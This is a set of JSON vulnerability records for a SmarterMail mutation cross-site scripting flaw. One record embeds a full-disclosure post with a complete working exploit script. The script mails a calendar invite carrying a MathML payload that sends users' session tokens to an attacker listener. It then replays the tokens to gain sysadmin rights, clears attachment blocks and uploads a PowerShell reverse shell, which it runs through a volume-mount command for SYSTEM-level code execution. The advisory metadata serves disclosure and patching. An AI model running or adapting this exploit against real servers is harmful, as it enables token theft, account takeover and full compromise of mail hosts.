{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "product": "Smartermail",
          "vendor": "Smartertools",
          "versions": [
            {
              "lessThan": "Build 9777",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "SmarterMail before build 9777 contains a stored mutation cross-site scripting vulnerability that allows remote attackers to inject executable script by placing payloads inside a \u003cstyle\u003e element nested within MathML foreign content (\u003cmath\u003e\u003cmtext\u003e\u003cmglyph\u003e), which the custom HTML sanitizer treats as inert CDATA text but browsers reparse as live markup. Attackers can deliver a crafted calendar (iCal) message containing an \u003cimg src=x onerror=...\u003e payload that executes automatically in the recipient\u0027s webmail session at /interface/message-iframe when the message is opened, enabling script execution and data exfiltration unconstrained by the interface\u0027s permissive Content-Security-Policy."
    }
  ],
  "id": "CVE-2026-104083",
  "lastModified": "2026-10-13T17:17:15.500",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "LOW",
          "subIntegrityImpact": "LOW",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-104083",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-10-13T16:54:21.119344Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-10-09T16:17:20.993",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://blog.evan.lat/posts/sm/"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://www.smartertools.com/smartermail/release-notes/current#/9526:~:text=Build%209777%20(Oct%208%2C%202026)"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://www.vulncheck.com/advisories/smartermail-build-9777-stored-mutation-xss-via-mathml-foreign-content"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SmarterMail \u003c9777 Pre-Auth",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "evan via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "original blog: https://blog.evan.lat/posts/sm/\n\nSUMMARY: multiple vulns and misconfigurations in smartermail, notably\na mxss and session persistence issues, alongside several logic bugs\ncan be chained to achieve remote code execution as nt\nauthority\\system;\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-104082\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-104083\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-104084\n\na mutated xss exists in smartermail. by sending a specific\ntext/calendar (icalendar) mimetype with the x-alt-desc header set to a\nmutated xss payload:\n\u003cmath\u003e\u003cmtext\u003e\u003cmglyph\u003e\u003cstyle\u003e\u003cimg src=x onerror=\"{js}\"\u003e\u003c/style\u003e\n\nthe parser in the handrolled sanitizer of smartermail fails to\nproperly sanitize this. the payload reforms after attempts at parsing\nit, allowing us to circumvent pre-auth with just one viewing of an\nemail. notably, this can be done entirely without clicking as well\n(technically), since smartermail seems to open to latest email\nautomatically\n\n\n====================\n\na session logic vuln exists in smartermail. getting the refresh token\nof a domain admin before they are subsequently demoted does not\nactually invalidate any of the tokens privileges; meaning you can\nreplay the token and continue retaining domain admin/sysadmin even\nafter being demoted by simply posting the refresh token to\n/api/v1/auth/refresh-token and getting new accesstoken/refreshtoken\npairs with the same roles\n\n====================\n\na series of logic vulns exist in smartermail that can lead to rce as\nnt authority\\system. typically, pre-9540 smartermail allowed sysadmins\nto easily rce the box. this was changed later on when they realzied it\ncould be abused. nowadays, they make sure that the volume mounts\nfeature actually requires a script path instead of a command you can\njust slap on the volume mount command. this means that tehcnically you\nneed to upload a script to the box itself or fidn an AFW. fortunately\nthere is no need, since the path validation doesnt really account for\nthe fact that we can technically create a domain anywhere in the box.\na domain contains attachments. since smartermail simply checks whether\nor not a file is within ApplicationDataScriptsPath (where the scripts\nwill be); it doesnt actually check if it is within\nApplicationDataScriptsPath/foo/bar/x.txt. this means that we can\nsimply create a domain within ApplicationDataScriptsPath, clear all\nthe attachment blacklists, create a user in that domain, impersonate\nthe user, send an attachment of a batch script/powershell script to\nourselves so it lands on the attachments folder of the domain (which\nis in ApplicationDataScriptsPath), reference the script and get rce\nanyway\n\nall xps pertaining to this can be found here:\nhttps://github.com/eev4n/smartermail\n\n\nall in one:\nimport argparse\nimport base64\nimport json\nimport requests\nimport smtplib\nimport threading\nimport time\nfrom flask import Flask, request\n\npw = \u0027Foobar1234!\u0027\nfakedom = \u0027beamed.com\u0027\n\ndef pargs():\n    p = argparse.ArgumentParser()\n    p.add_argument(\u0027url\u0027, help=\u0027base url\u0027)\n    p.add_argument(\u0027--to\u0027, required=True, help=\u0027targ\u0027)\n    p.add_argument(\u0027--port\u0027, default=\u00279000\u0027, help=\u0027flask\u0027)\n    p.add_argument(\u0027--lhost\u0027, required=True, help=\u0027nc ip\u0027)\n    p.add_argument(\u0027--lport\u0027, default=\u00271234\u0027, help=\u0027nc port\u0027)\n    return p.parse_args()\n\nargs = pargs()\nbase = args.url.rstrip(\u0027/\u0027)\nlisten = f\u0027http://{args.lhost}:{args.port}\u0026apos;\napp = Flask(__name__)\n\n\ndef sendm(to, eml):\n    print(\"PLACEHOLDER PLACEHOLDER\")\n    host = args.url.split(\u0027//\u0027)[1].split(\u0027/\u0027)[0]\n    for i in range(12):\n        try:\n            s = smtplib.SMTP(host, 25, timeout=15)\n\n            s.ehlo()\n            s.docmd(\u0027MAIL FROM:\u003cimportant () john com\u003e\u0027)\n            s.docmd(\u0027RCPT TO:\u003c\u0027 + to + \u0027\u003e\u0027)\n            s.docmd(\u0027DATA\u0027)\n            s.send(eml.encode())\n            result = s.docmd(\u0027.\u0027)\n            s.quit()\n\n            if result[0] \u003c 300:\n                print(\u0027+ sent payload\u0027)\n                return True\n            print(\u0027- smtp: \u0027 + str(result))\n        except Exception as e:\n            print(\u0027- smtp: \u0027 + str(e))\n        time.sleep(5)\n    return False\n\n\njs = f\"\"\"(function(){{var t=localStorage.getItem(\u0027userTokens\u0027);var\ni=new Image();i.src=\u0027{listen}/?t=\u0027+encodeURIComponent(btoa(t));}})()\"\"\"\npayload = f\u0027\u003cmath\u003e\u003cmtext\u003e\u003cmglyph\u003e\u003cstyle\u003e\u003cimg src=x onerror=\"{js}\"\u003e\u003c/style\u003e\u0027\n\ndef invite(to):\n    return (\n        \u0027From: j () j com\\r\\n\u0027\n        \u0027To: \u0027 + to + \u0027\\r\\n\u0027\n        \u0027Subject: yo heres the invite\\r\\n\u0027\n        \u0027Content-Type: multipart/mixed; boundary=\"cal\"\\r\\n\u0027\n        \u0027\\r\\n\u0027\n        \u0027--cal\\r\\n\u0027\n        \u0027Content-Type: text/plain\\r\\n\u0027\n        \u0027\\r\\n\u0027\n        \u0027you have been invited to the next hangout g congrats\\r\\n\u0027\n        \u0027--cal\\r\\n\u0027\n        \u0027Content-Type: text/calendar; method=REQUEST\\r\\n\u0027\n        \u0027\\r\\n\u0027\n        \u0027BEGIN:VCALENDAR\\r\\n\u0027\n        \u0027VERSION:2.0\\r\\n\u0027\n        \u0027PRODID:-//Test//EN\\r\\n\u0027\n        \u0027BEGIN:VEVENT\\r\\n\u0027\n        \u0027UID:\u0027 + str(int(time.time())) + \u0027@test.local\\r\\n\u0027\n        \u0027DTSTAMP:20260925T120000Z\\r\\n\u0027\n        \u0027DTSTART:20260925T130000Z\\r\\n\u0027\n        \u0027DTEND:20260925T140000Z\\r\\n\u0027\n        \u0027SUMMARY:Meeting\\r\\n\u0027\n        \u0027X-ALT-DESC;FMTTYPE=text/html:\u003chtml\u003e\u003cbody\u003e\u0027 + payload +\n\u0027\u003c/body\u003e\u003c/html\u003e\\r\\n\u0027\n        \u0027END:VEVENT\\r\\n\u0027\n        \u0027END:VCALENDAR\\r\\n\u0027\n        \u0027--cal--\\r\\n\u0027\n    )\n\n\ndef picknchoose(tokens):\n    for email in tokens:\n        refresh = tokens[email].get(\u0027refreshToken\u0027)\n\n        if not refresh:\n            continue\n\n        r = requests.post(base + \u0027/api/v1/auth/refresh-token\u0027,\njson={\u0027token\u0027: refresh}, timeout=30)\n\n        if r.status_code != 200:\n            print(f\u0027refresh fail wtf\u0027)\n            continue\n\n        access = r.json()[\u0027accessToken\u0027]\n\n        open(\u0027refresh.txt\u0027, \u0027a\u0027).write(email + \u0027 \u0027 + r.json()[\u0027refreshToken\u0027])\n\n        part = access.split(\u0027.\u0027)[1]\n        part += \u0027=\u0027 * (-len(part) % 4)\n\n        claims = json.loads(base64.urlsafe_b64decode(part))\n\n        if \u0027SysAdmin\u0027 in claims.get(\u0027role\u0027, []):\n            print(f\u0027+ got sysadmin shit aint sweet no mo\u0027)\n            return access\n\n        print(f\u0027- {email}: not sysadmin\u0027)\n    return None\n\ndef beam(at):\n    def apibase(path, data):\n        return requests.post(base + path, json=data,\nheaders={\u0027Authorization\u0027: \u0027Bearer \u0027 + at}, timeout=60)\n    # get the orig path first\n    r = apibase(\u0027/api/v1/settings/sysadmin/AddOrUpdateMount\u0027, {\n        \u0027Enabled\u0027: True,\n        \u0027MountPath\u0027: \u0027C:/tmp\u0027,\n        \u0027CommandMount\u0027: \u0027zz\u0027,\n        \u0027CommandUnmount\u0027: \u0027\u0027,\n        \u0027ReadOnly\u0027: False,\n        \u0027UseArgumentsInCommand\u0027: False\n        })\n\n    if \u0027not found\u0027 not in r.text:\n        print(\u0027! cant find assets dir\u0027)\n        return\n\n    assets = r.text.split(\"Script file \u0027\")[1].split(\u0027zz\u0027)[0]\n\n    print(f\u0027+ got assets {assets}\u0027)\n\n    r = apibase(\u0027/api/v1/settings/sysadmin/global-mail\u0027, {\n        \u0027globalMailSettings\u0027:\n        {\n            \u0027fileTypeRestriction\u0027:\n            {\n                \u0027blackList\u0027: [],\n                \u0027blockFilesWithNoExtension\u0027: False\n            }\n        }\n        })\n    if r.status_code != 200:\n        print(\u0027! cant clear bl\u0027)\n        return\n\n    print(\u0027+ bl cleared\u0027)\n\n    r = apibase(\u0027/api/v1/settings/sysadmin/domain-put\u0027, {\n        \u0027domainData\u0027: {\n            \u0027name\u0027: fakedom,\n            \u0027hostname\u0027: \u0027mail.\u0027 + fakedom,\n            \u0027path\u0027: assets + \u0027x\u0027,\n            \u0027isEnabled\u0027: True,\n            \u0027isSplitDomain\u0027: False\n        },\n        \u0027adminUsername\u0027: \u0027lol\u0027,\n        \u0027adminPassword\u0027: pw\n        })\n\n    if r.status_code == 200:\n        print(\u0027+ new dom\u0027)\n    else:\n        print(f\u0027- cant make new domain\u0027)\n\n    email = f\u0027lol@{fakedom}\u0027\n    r = apibase(\u0027/api/v1/settings/sysadmin/post-user\u0027, {\n        \u0027email\u0027: email,\n        \u0027userData\u0027: {\n            \u0027maxMailboxSize\u0027: 0\n        },\n        \u0027allowMail\u0027: True\n        })\n\n    if r.status_code == 200:\n        print(\u0027+ quota unlimited\u0027)\n    else:\n        print(f\u0027- quota: {r.status_code}\u0027)\n\n    r = requests.post(base + \u0027/api/v1/auth/authenticate-user\u0027, json={\n        \u0027Username\u0027: email,\n        \u0027Password\u0027: pw,\n        \u0027clientId\u0027: \u0027lol\u0027\n        }, timeout=30)\n\n    if r.status_code != 200:\n        print(\u0027! login fail \u0027 + r.text[:200])\n        return\n    user_token = r.json()[\u0027accessToken\u0027]\n    print(\u0027+ logged in no bizzy BAP \u0027)\n\n    ps1 = f\"\"\"$c=New-Object\nSystem.Net.Sockets.TCPClient(\u0027{args.lhost}\u0027,{args.lport});\n$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};\nwhile(($i=$s.Read($b,0,$b.Length))-ne 0){{\n$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);\n$r=((\u0027Invoke\u0027+\u0027-Expression\u0027) $d 2\u003e\u00261|Out-String);$r2=$r+\u0027PS \u0027+(pwd).Path+\u0027\u003e \u0027;\n$e=([text.encoding]::ASCII).GetBytes($r2);\n$s.Write($e,0,$e.Length);$s.Flush()}};\n$c.Close()\n\"\"\"\n    ps1p = assets + \u0027x/Users/lol/FileStore/Root Folder/fun.ps1\u0027\n    bat = (f\u0027@echo off\\r\\n\u0027\n           f\u0027powershell -ExecutionPolicy Bypass -WindowStyle Hidden\n-File \"{ps1p}\"\\r\\n\u0027)\n\n    def upload(filename, content):\n        size = str(len(content))\n        form = {\n            \u0027context\u0027: \u0027file-storage\u0027,\n            \u0027contextData\u0027: \u0027{\"folder\":\"\"}\u0027,\n            \u0027resumableChunkNumber\u0027: \u00271\u0027,\n            \u0027resumableTotalChunks\u0027: \u00271\u0027,\n            \u0027resumableChunkSize\u0027: size,\n            \u0027resumableCurrentChunkSize\u0027: size,\n            \u0027resumableTotalSize\u0027: size,\n            \u0027resumableIdentifier\u0027: filename.upper().replace(\u0027.\u0027, \u0027-\u0027)\n+ \u0027-\u0027 + size,\n            \u0027resumableFilename\u0027: filename,\n            \u0027resumableRelativePath\u0027: filename,\n            \u0027resumableType\u0027: \u0027\u0027,\n        }\n        # technically not needed but sometimes it fails\n        for i in range(15):\n            r = requests.post(base + \u0027/api/upload\u0027,\nheaders={\u0027Authorization\u0027: \u0027Bearer \u0027 + user_token}, data=form,\nfiles={\u0027file\u0027: (filename, content.encode())}, timeout=30)\n            if r.status_code == 200:\n                return True\n            if \u0027MAX_SIZE_EXCEEDED\u0027 in r.text:\n                time.sleep(3)\n                continue\n            print(f\u0027! upload: {r.text[:100]}\u0027)\n            return False\n        print(\u0027! upload is fucked wtf did you do\u0027)\n        return False\n\n    if not upload(\u0027fun.ps1\u0027, ps1):\n        return\n    if not upload(\u0027g.bat\u0027, bat):\n        return\n    print(\u0027+ uploaded pl\u0027)\n\n    r = apibase(\u0027/api/v1/settings/sysadmin/AddOrUpdateMount\u0027, {\n        \u0027Enabled\u0027: True,\n        \u0027MountPath\u0027: \u0027C:/tmp\u0027,\n        \u0027CommandMount\u0027: \u0027x/Users/lol/FileStore/Root Folder/g.bat\u0027,\n        \u0027CommandUnmount\u0027: \u0027\u0027,\n        \u0027ReadOnly\u0027: False,\n        \u0027UseArgumentsInCommand\u0027: False\n        })\n    if \u0027not found\u0027 in r.text:\n        print(\u0027???: \u0027 + r.text[:300])\n    else:\n        print(f\u0027+ shell\u0027)\n\n@app.route(\u0027/\u0027)\ndef catch():\n    raw = request.args.get(\u0027t\u0027, \u0027\u0027)\n    stolen = base64.b64decode(raw).decode(\u0027utf-8\u0027, \u0027replace\u0027)\n    print(\u0027+ got tokens\u0027)\n    tokens = json.loads(stolen)\n\n    atk = picknchoose(tokens)\n    if atk is None:\n        print(\u0027! no sysadmin token\u0027)\n        return b\u0027\u0027\n\n    beam(atk)\n    return b\u0027\u0027\n\n\nthreading.Thread(target=lambda: app.run(host=\u00270.0.0.0\u0027,\nport=int(args.port)), daemon=True).start()\nprint(f\u0027+ WE UP @ {args.port}\u0027)\n\nif not sendm(args.to, invite(args.to)):\n    print(\"! cant send mail\")\n    exit(1)\n\nprint(\u0027waiting\u0027)\nwhile True:\n    time.sleep(60)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:03Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/9"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/9"
        },
        {
          "url": "http://{args.lhost}:{args.port}\u0026apos"
        },
        {
          "url": "https://blog.evan.lat/posts/sm/"
        },
        {
          "url": "https://github.com/eev4n/smartermail"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104082"
        },
        {
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104083"
        },
        {
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104084"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/9"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SmarterMail \u003c9777 Pre-Auth RCE (half click lol): CVE-2026-104082, CVE-2026-104083, CVE-2026-104084",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-104082",
              "type": "related"
            },
            {
              "destId": "CVE-2026-104083",
              "type": "related"
            },
            {
              "destId": "CVE-2026-104084",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0493",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/9",
            "automated": true,
            "contentSha256": "dd1f31b89d6a3bab8b013a9c3df41ef45f530e4b4d7fd0f326688e3ce062d753",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/9",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-12T15:49:16Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0493"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:03Z",
    "dateUpdated": "2026-11-02T07:30:03Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0493"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-104083"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-09T16:17:20Z",
    "severity": "MODERATE"
  },
  "details": "SmarterMail before build 9777 contains a stored mutation cross-site scripting vulnerability that allows remote attackers to inject executable script by placing payloads inside a \u003cstyle\u003e element nested within MathML foreign content (\u003cmath\u003e\u003cmtext\u003e\u003cmglyph\u003e), which the custom HTML sanitizer treats as inert CDATA text but browsers reparse as live markup. Attackers can deliver a crafted calendar (iCal) message containing an \u003cimg src=x onerror=...\u003e payload that executes automatically in the recipient\u0027s webmail session at /interface/message-iframe when the message is opened, enabling script execution and data exfiltration unconstrained by the interface\u0027s permissive Content-Security-Policy.",
  "id": "GHSA-vvh8-jc22-6q2f",
  "modified": "2026-10-12T15:32:09Z",
  "published": "2026-10-09T18:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104083"
    },
    {
      "type": "WEB",
      "url": "https://blog.evan.lat/posts/sm"
    },
    {
      "type": "WEB",
      "url": "https://www.smartertools.com/smartermail/release-notes/current#/9526:~:text=Build%209777%20(Oct%208%2C%202026)"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/smartermail-build-9777-stored-mutation-xss-via-mathml-foreign-content"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}